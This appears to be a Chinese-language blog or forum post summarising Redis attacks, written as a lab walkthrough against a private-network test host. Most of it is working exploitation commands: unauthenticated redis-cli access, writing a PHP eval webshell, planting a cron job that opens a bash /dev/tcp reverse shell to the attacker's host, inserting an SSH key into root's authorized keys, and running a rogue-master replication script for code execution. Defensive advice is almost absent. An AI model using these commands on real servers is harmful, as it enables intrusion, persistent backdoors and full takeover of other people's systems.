Redis攻防总结

一、Redis介绍

Redis是一个开源的高性能键值数据库。最热门的NoSq数据库之一,也被人们称为数据结构服务器。

默认端口:6379

可能存在的漏洞:未授权访问、主从复制

二、Redis相关漏洞利用

2.1、未授权访问

2.1.1、存在原因

未设置密码或者设置弱密码

bind 127.0.0.1      被注释了,所有机器都可以访问

protected-mode no  关闭安全模式

使用root权限 

等

(被攻击机器)靶机安装好一个redis后,修改redis.conf后以root权限启动。

2.1.2、常用命令

  1. 查看信息:info
  2. 删除所有数据库內容:flushable
  3. 刷新数据库:flush
  4. 看所有键:KEYS*,使用 select nun可以查看键值数据。
  5. 设置变量:set test“who am i
  6. config set dir dirpath设置路径等配置
  7. config get dir/filename获取路径及数据配置信息
  8. save保存
  9. get变量,查看变量名称
  10. 删除Key:DEL KEY_NAME

2.1.3、利用方法

(1)获取数据库信息

redis-cli -h  192.168.31.152

即可成功进入到目标(192.168.31.152)redisl

查看redis版本相关信息,也判断是否存在密码

info

成功显示信息代表没有密码

1

获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。

CONFIG GET dir         #设置目录
CONFIG GET dbfilename  #设置文件名

2

(2)写webshell

config set dir /var/www/html/            #切换目录到网站的根目录(根据实际情况来) 
set x "\n\n\n<?php phpinfo();?>\n\n\n"   #写入恶意代码phpinfo() 
set xx "\n\n\n<?php @eval($_POST['-7']);?>\n\n\n"  #写入一句话木马 
config set dbfilename shell.php                    #生成木马文件shell.php 
save                                               #进行保存

3

成功写入到目标机

4

(3)写定时任务反弹shell

先在自己的服务器上监听一个端口

nc -lvnp 9999        #攻击机监听自己的7999端口 
redis-cli -h 192.168.31.152 #进入对方redis 
set  xx   "\n* * * * * bash -i >& /dev/tcp/192.168.31.116/7999 0>&1\n" #设置变量值为反弹shell语句 
config set dir /var/spool/cron/   #设置目录为目标机定时任务目录 
config set dbfilename root        #设置文件名 
save                              #保存

5

写入成功

6

但是一直nc没有接收到

查了下是因为存在乱码,centos会忽略乱码去执行格式正确的任务计划 
而ubuntu并不会忽略这些乱码,所以导致命令执行失败
推荐可以亲自验证一下

(4)写入Linux ssh-key公钥,然后通过私钥直接登录。

攻击机:192.168.31.116

生成密钥

ssh-keygen -t rsa

7

将公钥内容导出到文本中

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

8

写入目标机器

cat key.txt | redis-cli -h 192.168.31.152 -x set xxx

9

10

设置路径、文件名保存,路径根据实际情况来改动

11

写入成功

12

ssh -i id_rsa 192.168.31.152

登录成功

13

2.2、主从复制

2.2.1、漏洞版本

主从复制存在漏洞的版本

Redis <= 5.0.5

2.2.2、环境部署

docker pull damonevking/redis5.0  
docker run -p 6379:6379 -d damonevking/redis5.0 redis-server

14

2.2.3、攻击原理

Redis是一个使用ANSIC编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。

但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。 攻击者(主机)写一个so文件,然后通过 FULLRESYNC(全局)同步文件到受害人(从机)上。

2.2.4、利用方式

利用脚本

https://github.com/n0b0dyCN/redis-rogue-server

运行后可直接进行命令执行

python3 redis-rogue-server.py --rhost 192.168.31.152 --lhost 192.168.31.146 --exp=exp.so

15

脚本相关,看github上的脚本介绍即可。

  • 通过
  • 未通过

0 投票者